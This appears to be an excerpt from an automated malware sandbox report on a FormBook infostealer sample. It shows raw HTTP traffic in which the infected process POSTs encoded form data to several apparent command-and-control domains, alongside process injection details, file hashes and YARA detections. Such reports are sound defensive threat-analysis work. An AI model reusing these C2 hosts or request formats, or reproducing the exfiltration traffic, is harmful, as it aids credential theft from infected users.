Nov 7, 2024 15:29:22.023922920 CET	488	OUT	GET /bnrz/?F2=OQxwzbuOtqgqEYELNcMucZtHnRjB34c8S/VejUlVZtuveUVj7y4E7KtMGd+fy1MLwhM03wpJ8ksC3Umpmq485u0/vrhbrCPm9Wbu3FX/PMpZ3p2821/Za72d+YrU3sps/g==&sHS=543hApwHD HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.palcoconnector.net Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Nov 7, 2024 15:29:23.075236082 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 14:29:22 GMT Server: Apache Referrer-Policy: no-referrer-when-downgrade Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com") X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_K4B1jeAfL0lberQynNRxWl8InwzYqMruPu0iDmZnsmUl2KoyGXZ83tucxKLhMcLq/ypJw5/90ehqILtjVgiKMg== Content-Length: 2630 Content-Type: text/html; charset=UTF-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4b 58 37 34 69 78 70 7a 56 79 58 62 4a 70 72 63 4c 66 62 48 34 70 73 50 34 2b 4c 32 65 6e 74 71 72 69 30 6c 7a 68 36 70 6b 41 61 58 4c 50 49 63 63 6c 76 36 44 51 42 65 4a 4a 6a 47 46 57 72 42 49 46 36 51 4d 79 46 77 58 54 35 43 43 52 79 6a 53 32 70 65 6e 45 43 41 77 45 41 41 51 3d 3d 5f 4b 34 42 31 6a 65 41 66 4c 30 6c 62 65 72 51 79 6e 4e 52 78 57 6c 38 49 6e 77 7a 59 71 4d 72 75 50 75 30 69 44 6d 5a 6e 73 6d 55 6c 32 4b 6f 79 47 58 5a 38 33 74 75 63 78 4b 4c 68 4d 63 4c 71 2f 79 70 4a 77 35 2f 39 30 65 68 71 49 4c 74 6a 56 67 69 4b 4d 67 3d 3d 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 [TRUNCATED] Data Ascii: <!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_K4B1jeAfL0lberQynNRxWl8InwzYqMruPu0iDmZnsmUl2KoyGXZ83tucxKLhMcLq/ypJw5/90ehqILtjVgiKMg=="><head><script type="text/javascript">var abp;</script><script type="text/javascript" src="http://www.palcoconnector.net/px.js?ch=
Nov 7, 2024 15:29:23.075258970 CET	1236	IN	Data Raw: 31 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 70 61 6c 63 6f 63 6f 6e 6e 65 63 74 6f 72 2e 6e 65 74 2f 70 78 2e 6a Data Ascii: 1"></script><script type="text/javascript" src="http://www.palcoconnector.net/px.js?ch=2"></script><script type="text/javascript">function handleABPDetect(){try{if(!abp) return;var imglog = document.createElement("img");imglog.style.height="0p
Nov 7, 2024 15:29:23.075272083 CET	1002	IN	Data Raw: 73 22 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 6f 6c 6c 6f 77 69 6e 67 20 4d 65 74 61 2d 54 61 67 20 66 69 78 65 73 20 73 63 61 6c 69 6e 67 2d 69 73 73 75 65 73 20 6f 6e 20 6d 6f 62 69 6c 65 20 64 65 76 69 63 65 73 20 2d 2d 3e 0d 0a 20 20 20 20 3c Data Ascii: s"> ... Following Meta-Tag fixes scaling-issues on mobile devices --> <meta content="width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;" name="viewport"></head><body><div id="partner"></div><scrip

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	50002	156.242.132.82	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:29:28.585345984 CET	750	OUT	POST /b6g5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.shanhaiguan.net Origin: http://www.shanhaiguan.net Cache-Control: max-age=0 Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.shanhaiguan.net/b6g5/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 46 32 3d 58 2b 34 4b 50 56 34 76 6a 79 46 4e 38 52 72 6b 52 69 70 76 4f 36 47 33 42 49 6b 6e 57 66 54 36 36 61 37 78 6c 42 61 61 76 35 43 41 45 6a 7a 4f 79 43 69 76 36 46 64 57 77 65 2f 30 6c 2f 57 4f 32 57 33 44 45 48 68 73 76 7a 41 79 36 4d 46 67 4b 7a 6e 32 76 43 52 72 6d 68 66 50 6a 63 46 44 78 55 6a 41 49 35 32 69 56 6c 32 33 6c 53 78 47 55 75 31 4e 68 53 71 39 56 5a 6a 46 73 6a 56 6f 2f 6a 48 41 71 6c 56 6d 44 59 76 37 4c 30 76 66 5a 78 6d 67 70 35 6a 4f 62 67 4b 79 56 30 39 4b 6a 6b 55 45 46 30 55 73 63 4e 71 37 6c 6f 48 35 42 31 63 78 47 67 37 6c 6a 76 68 48 52 36 36 30 4d 53 52 33 72 6a 45 3d Data Ascii: F2=X+4KPV4vjyFN8RrkRipvO6G3BIknWfT66a7xlBaav5CAEjzOyCiv6FdWwe/0l/WO2W3DEHhsvzAy6MFgKzn2vCRrmhfPjcFDxUjAI52iVl23lSxGUu1NhSq9VZjFsjVo/jHAqlVmDYv7L0vfZxmgp5jObgKyV09KjkUEF0UscNq7loH5B1cxGg7ljvhHR660MSR3rjE=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	50003	156.242.132.82	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:29:31.204077959 CET	770	OUT	POST /b6g5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.shanhaiguan.net Origin: http://www.shanhaiguan.net Cache-Control: max-age=0 Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.shanhaiguan.net/b6g5/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 46 32 3d 58 2b 34 4b 50 56 34 76 6a 79 46 4e 38 78 62 6b 54 42 42 76 66 61 47 30 45 49 6b 6e 64 2f 54 2b 36 61 33 78 6c 41 75 77 76 4c 6d 41 45 44 44 4f 67 32 57 76 33 6c 64 57 34 2b 2f 39 34 50 57 52 32 57 72 4c 45 48 64 73 76 7a 55 79 36 4a 35 67 4a 45 4c 31 74 53 52 70 70 42 66 4e 73 38 46 44 78 55 6a 41 49 35 6a 4a 56 6c 75 33 69 6d 31 47 55 4c 42 43 2b 69 71 2b 53 5a 6a 46 6f 6a 56 73 2f 6a 48 75 71 6c 6c 4d 44 65 6a 37 4c 78 44 66 61 67 6d 6a 6e 35 6a 49 45 77 4c 77 46 6d 39 46 72 6d 30 61 4a 31 51 63 51 37 69 4f 74 2b 71 54 62 58 55 33 46 67 54 4f 6a 73 4a 78 55 4e 6e 63 57 78 42 48 31 30 54 2f 48 65 6e 2b 32 4a 72 76 66 49 57 42 57 56 66 54 62 54 72 37 Data Ascii: F2=X+4KPV4vjyFN8xbkTBBvfaG0EIknd/T+6a3xlAuwvLmAEDDOg2Wv3ldW4+/94PWR2WrLEHdsvzUy6J5gJEL1tSRppBfNs8FDxUjAI5jJVlu3im1GULBC+iq+SZjFojVs/jHuqllMDej7LxDfagmjn5jIEwLwFm9Frm0aJ1QcQ7iOt+qTbXU3FgTOjsJxUNncWxBH10T/Hen+2JrvfIWBWVfTbTr7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	50004	156.242.132.82	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:29:33.862226009 CET	1787	OUT	POST /b6g5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.shanhaiguan.net Origin: http://www.shanhaiguan.net Cache-Control: max-age=0 Content-Length: 1239 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.shanhaiguan.net/b6g5/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 46 32 3d 58 2b 34 4b 50 56 34 76 6a 79 46 4e 38 78 62 6b 54 42 42 76 66 61 47 30 45 49 6b 6e 64 2f 54 2b 36 61 33 78 6c 41 75 77 76 4c 75 41 45 77 4c 4f 78 68 4b 76 32 6c 64 57 37 2b 2f 77 34 50 58 4e 32 57 7a 50 45 48 51 62 76 77 73 79 72 62 42 67 64 67 66 31 33 43 52 70 69 68 66 4f 6a 63 46 61 78 55 7a 4d 49 35 7a 4a 56 6c 75 33 69 67 5a 47 54 65 31 43 34 69 71 39 56 5a 6a 5a 73 6a 55 78 2f 6a 50 59 71 6b 52 32 57 2b 44 37 4c 52 54 66 57 79 4f 6a 76 35 6a 4b 48 77 4c 53 46 6d 77 46 72 6d 70 6c 4a 31 6b 6c 51 38 6d 4f 38 49 62 33 4e 56 59 53 47 79 37 4b 6b 62 46 78 63 76 37 74 54 33 5a 53 33 55 7a 45 42 2f 57 51 77 61 6e 2f 51 61 6e 76 44 6a 6a 5a 57 54 54 7a 71 39 4e 30 64 6e 59 6b 4d 34 31 52 64 2b 37 53 5a 68 2f 44 62 77 47 73 57 64 41 36 70 4b 52 34 4f 76 36 48 75 68 63 53 67 76 65 4e 75 2f 73 41 31 72 4f 36 30 64 34 38 47 54 78 6e 66 41 6b 59 2f 70 6e 78 5a 30 6c 45 48 5a 48 43 4b 65 46 52 42 6f 36 42 62 2f 63 59 4b 30 2b 36 6e 66 4c 32 51 33 30 75 63 37 50 39 35 34 31 31 79 34 56 6b 2f 41 78 [TRUNCATED] Data Ascii: F2=X+4KPV4vjyFN8xbkTBBvfaG0EIknd/T+6a3xlAuwvLuAEwLOxhKv2ldW7+/w4PXN2WzPEHQbvwsyrbBgdgf13CRpihfOjcFaxUzMI5zJVlu3igZGTe1C4iq9VZjZsjUx/jPYqkR2W+D7LRTfWyOjv5jKHwLSFmwFrmplJ1klQ8mO8Ib3NVYSGy7KkbFxcv7tT3ZS3UzEB/WQwan/QanvDjjZWTTzq9N0dnYkM41Rd+7SZh/DbwGsWdA6pKR4Ov6HuhcSgveNu/sA1rO60d48GTxnfAkY/pnxZ0lEHZHCKeFRBo6Bb/cYK0+6nfL2Q30uc7P95411y4Vk/Ax4rOf7T07WYVQXtbVX4sLbU9lGxgqyuxBUEiXClwge0LMT8sbSN5OLOV7RlF/dXDSXPPxfbAywFxLFDlLzQx6T7voTqUx2FJ+lRZQ0ZUvRY2l9N3oHEvkyRUvhQNITls/tGw2dvIHku6ezjpiVnLnXkK7i1SnlzfcSRvXrSCSRBGryUDH+dHgh2+kSvomEb/t15nimXrwejR85j8PrUa9BQoZDSL/MBbW3YJ1xxfhLMO9OIcDn+EbCGO5K53ANfu6X8RP8iusWfV208L+jccGieheY1OYsPvNJ0/SqRKI9H03d4vSsmOCy1k9mhy85y3ENHcJHVsK7oH7goGJ85Nja3o4Axs7BLfJ9vqZYlVFQTWkHAcHmcCqNVapMXWjFcd4g2s9VaU82lvaLZZtjrxcBWuq0Wb5wS53sodPS1JQqFeAzBJ02Xvguwt1wAKC1WlpVJ2V/4Xiq+qniPYwQxfiZ3iAMOtoNWCQ9E2/Sx3RW8DBGVG2e/yzh4mjwigcLhYU52pY007FQ8CtdkHwhU7GHSifQwMfC5/zFt8q+9+qkZlOv7ENOA9ya7G4WEuTZB6FpDH3MGov2so/FMlOF2CPL3D/rnGHDy5/DoKg6AhZ2hDTiMXIYUKM+Yy707KHpqvYroH30PCxf5FIBhmwMt/zi7exrYTj9+9zzn [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	50005	156.242.132.82	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:29:36.401371002 CET	485	OUT	GET /b6g5/?F2=a8QqMioE13Jt2iPiOClkfJLiI6soJM7xy7KAtya8ruOCNgqe2jC0xyltzPPw7ePD7gDMaG5P8Bx9i7otBFrS2CJxsBKcruwu6mzHCImmdlnckGZwJuxb62mJXIzJiBU08Q==&sHS=543hApwHD HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.shanhaiguan.net Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	50006	84.32.84.32	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:29:58.063930988 CET	747	OUT	POST /n2dv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.es-lidl.online Origin: http://www.es-lidl.online Cache-Control: max-age=0 Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.es-lidl.online/n2dv/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 46 32 3d 57 4d 77 50 58 6b 67 50 2f 35 70 36 57 43 2f 4b 6c 76 75 78 4b 4d 31 4a 7a 39 51 77 4c 47 41 68 32 35 62 42 51 4c 4e 5a 54 55 6b 69 6c 51 35 4f 4a 41 55 32 31 33 4b 59 50 30 62 78 71 79 37 58 4d 52 2b 43 64 67 77 79 46 66 30 61 69 4a 44 71 79 74 30 6d 68 63 4c 51 2f 65 56 42 47 64 4f 63 47 36 57 53 70 5a 2b 66 61 4c 68 63 35 58 4c 47 70 4d 59 57 7a 30 76 4b 76 39 36 34 37 74 33 4f 32 42 6a 4e 6e 2b 4d 78 6d 65 2f 76 66 44 69 76 37 42 6d 68 6f 61 64 39 42 76 44 71 65 4f 6e 6f 55 33 74 66 5a 61 7a 48 4f 70 4a 70 32 4a 4c 43 46 6b 69 39 32 73 39 67 6e 75 54 38 52 64 39 39 65 65 4b 73 43 65 34 3d Data Ascii: F2=WMwPXkgP/5p6WC/KlvuxKM1Jz9QwLGAh25bBQLNZTUkilQ5OJAU213KYP0bxqy7XMR+CdgwyFf0aiJDqyt0mhcLQ/eVBGdOcG6WSpZ+faLhc5XLGpMYWz0vKv9647t3O2BjNn+Mxme/vfDiv7Bmhoad9BvDqeOnoU3tfZazHOpJp2JLCFki92s9gnuT8Rd99eeKsCe4=

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.8	50007	84.32.84.32	80

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:30:01.793606043 CET	767	OUT	POST /n2dv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.es-lidl.online Origin: http://www.es-lidl.online Cache-Control: max-age=0 Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.es-lidl.online/n2dv/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 46 32 3d 57 4d 77 50 58 6b 67 50 2f 35 70 36 45 53 50 4b 6a 4f 75 78 4e 73 31 4b 32 39 51 77 51 57 41 6c 32 35 48 42 51 4f 30 43 53 69 55 69 6c 78 4a 4f 62 31 30 32 32 33 4b 59 45 55 62 77 30 43 37 63 4d 52 6a 33 64 69 6b 79 46 62 6b 61 69 4a 7a 71 7a 65 4d 68 6e 4d 4c 57 7a 2b 56 35 62 74 4f 63 47 36 57 53 70 5a 36 68 61 4c 35 63 35 6e 58 47 71 75 67 52 2b 55 75 34 2f 4e 36 34 77 4e 33 43 32 42 6a 56 6e 39 49 49 6d 63 48 76 66 48 71 76 37 54 4f 75 69 61 63 34 46 76 44 31 52 4f 69 77 5a 32 39 33 63 4a 6e 59 51 6f 4a 50 7a 2f 6d 6f 66 47 71 37 31 73 56 4c 6e 74 37 4b 55 71 67 56 45 39 61 63 63 4a 76 32 68 64 43 6c 67 47 4d 53 33 57 31 46 42 6e 55 53 36 4d 38 66 Data Ascii: F2=WMwPXkgP/5p6ESPKjOuxNs1K29QwQWAl25HBQO0CSiUilxJOb10223KYEUbw0C7cMRj3dikyFbkaiJzqzeMhnMLWz+V5btOcG6WSpZ6haL5c5nXGqugR+Uu4/N64wN3C2BjVn9IImcHvfHqv7TOuiac4FvD1ROiwZ293cJnYQoJPz/mofGq71sVLnt7KUqgVE9accJv2hdClgGMS3W1FBnUS6M8f

Target ID:	0
Start time:	09:26:54
Start date:	07/11/2024
Path:	C:\Users\user\Desktop\xBzBOQwywT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\xBzBOQwywT.exe"
Imagebase:	0x400000
File size:	1'332'289 bytes
MD5 hash:	715EC2A53173921888B38C9731AD9BC9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	09:27:02
Start date:	07/11/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\xBzBOQwywT.exe"
Imagebase:	0xb10000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1804925513.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1804925513.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1809587289.00000000056F0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1809587289.00000000056F0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1808701497.0000000003590000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1808701497.0000000003590000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	09:27:16
Start date:	07/11/2024
Path:	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe"
Imagebase:	0xa00000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3365349150.0000000002A00000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.3365349150.0000000002A00000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	5
Start time:	09:27:17
Start date:	07/11/2024
Path:	C:\Windows\SysWOW64\RpcPing.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\RpcPing.exe"
Imagebase:	0xf40000
File size:	26'624 bytes
MD5 hash:	F7DD5764D96A988F0CF9DD4813751473
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3356645004.00000000004D0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.3356645004.00000000004D0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3365351743.00000000009E0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.3365351743.00000000009E0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3360236201.0000000000880000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.3360236201.0000000000880000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	6
Start time:	09:27:30
Start date:	07/11/2024
Path:	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe"
Imagebase:	0xa00000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3367695283.0000000004CE0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3367695283.0000000004CE0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	10
Start time:	09:27:43
Start date:	07/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6d20e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true